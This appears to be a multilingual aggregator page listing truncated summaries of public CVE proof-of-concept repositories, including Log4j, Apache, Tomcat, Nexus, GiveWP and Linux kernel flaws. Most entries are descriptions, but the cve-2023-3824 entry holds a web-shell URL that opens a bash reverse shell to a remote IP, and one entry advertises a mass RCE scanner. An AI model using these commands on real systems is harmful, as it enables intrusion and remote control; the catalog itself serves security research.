SMB-LINUX-CVE-2025-37899

Vulnerabilidad Use-After-Free en ksmbd del Kernel de Linux CVE-2025-37899 Descripción Se ha descubierto una vulnerabilidad de tipo use-after-free en el módulo ksmbd del kernel de Linux, responsable de la implementación del protocolo SMB Server Message Block para el intercambio de archivos en red...

go-get-rce

go-get-rce CVE-2018-6574...

nexus_rce_CVE-2019-7238

nexusrceCVE-2019-7238 Some debug notes and exploitnot blind Exploit 使用burpsuite，修改请求中的ls / -al即可，注意双引号会被替换成单引号 root@kitploit: POST /service/extdirect HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.14; rv:63.0 Gecko/20100101 Firefox/63.0 Accept: / Content-Type:...

CVE-2026-82222

⚡ GHOSTLYR00T - GiveWP RCE Exploit Framework CVE-2026-82222 - GiveWP Unauthenticated RCE Exploit Mass Scanner + Auto-Detection + Multi-Threading + Interactive Shell 📋 Daftar Isi | Tabla de Contenidos Overview Fitur Utama | Características Principales Detalles de la Vulnerabilidad Instalasi |...

CVE-2026-85046-who-put-the-silverback-guerilla-in-the-wasm

CVE-2026-85046 Vi el otro POC de esto y pensé para mí mismo que es una pesadilla de ver. Así que fui y simplifiqué el POC y añadí un salto a tu propio wasm. Porque wasm. Chrome 152.0.7977.75 puede confundir punteros de objetos con enteros durante sort. poc.js mantiene una referencia obsoleta al...

CVE-2024-23692

Rejetto HTTP File Server HFS 未授权 RCE 漏洞复现 CVE-2024-23692 简介 Rejetto HTTP File Server HFS 是一个轻量级的 HTTP 文件服务器，广泛用于文件共享和文件传输。CVE-2024-23692 漏洞是一个模板注入漏洞，允许远程、未经身份验证的攻击者通过发送特制的 HTTP 请求在受影响的系统上执行任意命令。截至 CVE 分配日期，Rejetto HFS 2.3m 不再受支持。 漏洞详情 CVE 编号 : CVE-2024-23692 漏洞类型 : 模板注入漏洞，远程代码执行 RCE 影响版本 : Rejett...

CVE-2024-50379-POC

Explotación y POC de CVE-2024-50379 Este repositorio contiene una Prueba de Concepto POC para CVE-2024-50379 , una vulnerabilidad que afecta a Apache Tomcat. El problema implica una condición de carrera de Tiempo de Verificación Tiempo de Uso TOCTOU , que puede llevar a Ejecución Remota de Código...

log4j2-rce-poc

POC de Vulnerabilidad RCE en Log4j2 Una prueba de concepto mínima para la vulnerabilidad de Ejecución Remota de Código JNDI en Log4j2 CVE-2021-44228. Está destinada a fines educativos para ayudar a personas que no son investigadores de seguridad a entender cómo funciona y qué tan grande es el...

CVE-2023-36158

CVE-2023-36158 Vulnerabilidad de Cross Site Scripting XSS en sourcecodester Toll Tax Management System 1.0 que permite a atacantes remotos ejecutar código arbitrario a través de los campos First Name y Last Name en la página My Account...

kernel: Bluetooth: hci_event: fix potential UAF in SSP passkey handlers

A flaw was found in the Linux kernel's Bluetooth subsystem. This vulnerability, a Use-After-Free UAF, exists within the Secure Simple Pairing SSP passkey handlers. It occurs when hciconn lookup and field access are performed without proper locking, allowing a connection to be freed concurrently...

kernel: crypto: qat - validate RSA CRT component lengths

A flaw was found in the Linux kernel's QAT QuickAssist Technology crypto module. This vulnerability occurs in the RSA key parser when handling CRT Chinese Remainder Theorem components. An underflow can happen during a memory copy operation if an RSA CRT component is larger than its allocated...

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate Este POC usa Spring / Hibernate, sin embargo un enfoque similar de rmi - deserialización podría usarse para desencadenar cualquier vulnerabilidad de deserialización TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain'...

CVE-2024-10542

PoC de CVE-2024-10542 y CVE-2024-10781: Autenticación rota en el plugin Spam protection, AntiSpam, FireWall by CleanTalk = 6.43.2 Descargo de responsabilidad: La información proporcionada en este documento sobre CVE-2024-10542 tiene fines exclusivamente educativos y de aprendizaje. No alentamos n...

cve-2022-24112

Apache APISIX 2.12.1 Ejecución Remota de Código y Laboratorio Docker Vamos a clonar este repositorio usando gitclone, luego podemos navegar a apisix-docker/examples. En este archivo docker-compose.yml, ya cambiamos a image: apache/apisix:2.12.0-alpine, porque la vulnerabilidad está en esta versió...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Vulnerabilidad de día cero de Path Traversal explotada en Apache HTTP Server Apache HTTP Server CVE-2021-41773 explotado activamente en ataques reales CVE-2021-42013: Path Traversal y ejecución remota de código en Apache HTTP Server 2.4.49 y 2.4.50 corrección...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2025-55184

PoC de React2Shell Este repositorio proporciona un entorno mínimo intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica de RCE React2Shell que afecta a React Server Components y Next.js. CVE-2025-55182 : Existe una vulnerabilidad de ejecución...

CVE-2025-55349

CVE-2025-55349 — Ejecución de código arbitrario en pm2 mediante postinstall Descubridor : Golden Ticket Labs Proveedor : Unitech pm2 Fecha de asignación : 20 de agosto de 2025 MITRE Descripción Un problema en el componente lib/API/Modules/NPM.js de Unitech PM2 v5.4.2 permite la ejecución de códig...

Node.js-CVE-2017-5941

Demostración de Vulnerabilidad de Deserialización Insegura en NodeJS Node.js es un entorno de ejecución de código abierto utilizado para implementar funcionalidad de servidor en JavaScript. Un paquete de software específico dentro de Node.js contiene una función vulnerable que maneja la...

cve-2019-19781

CVE-2019-19781 Esto se subió únicamente porque otros investigadores publicaron su código primero. Habríamos preferido mantenerlo oculto por más tiempo mientras los defensores tenían tiempo adecuado para parchear sus sistemas. Estamos a favor de la divulgación responsable; en este caso, el gato ya...